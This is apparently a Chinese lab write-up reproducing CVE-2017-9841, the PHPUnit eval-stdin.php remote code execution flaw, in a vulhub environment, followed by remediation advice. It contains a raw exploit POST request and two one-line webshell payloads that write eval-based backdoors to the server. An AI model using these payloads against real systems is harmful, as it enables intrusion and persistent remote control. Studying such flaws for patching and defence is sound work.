简介
漏洞环境:vulhub
参考链接:
https://blog.csdn.net/csacs/article/details/90640601
https://blog.csdn.net/zy15667076526/article/details/111824844
CVE-2017-9841
PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹。phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。
composer是php包管理工具,使用composer安装扩展包将会在当前目录创建一个vendor文件夹,并将所有文件放在其中。通常这个目录需要放在web目录外,使用户不能直接访问。
phpunit是php中的单元测试工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代码
eval(‘?>‘.file_get_contents(‘php://input‘));
如果该文件被用户直接访问到,将造成原创代码执行漏洞。
影响版本:
- 4.8.19 ~ 4.8.27
- 5.0.10 ~ 5.6.2
漏洞复现
启动vulhub中的docker环境,访问eval-stdin.php
的路径:
http://144.34.169.6:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
使用bp进行抓包,将请求方式改为POST,同时将php代码作为请求体。
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 144.34.169.6:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 18
执行结果:
看博客,写入一句话木马:<?=file_put_contents("test.php", ‘<?=@eval($_REQUEST[cmd]);?>‘);
,但是我发现我根本写入不进去,提示该文件写入权限不足:
file_put_contents(test.php): failed to open stream: Permission denied in /var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php(3) : eval()‘d code
原因是,apache使用的是www-data用户运行,而web目录下的文件用户与用户组权限均为root,eval-stdin.php
所在的PHP
文件夹,其他用户只有执行和读权限,所以写入失败。
如果要写入一句话木马,需要将PHP目录增加其他用户可写权限。
也可以用这个写入一句话,<?php file_put_contents("shell.php",‘<?php @eval($_POST[cmd]);?>‘);?>
。
漏洞修复
- 生产环境中直接删掉phpunit
- 升级phpunit版本
- 设置权限,禁止访问该目录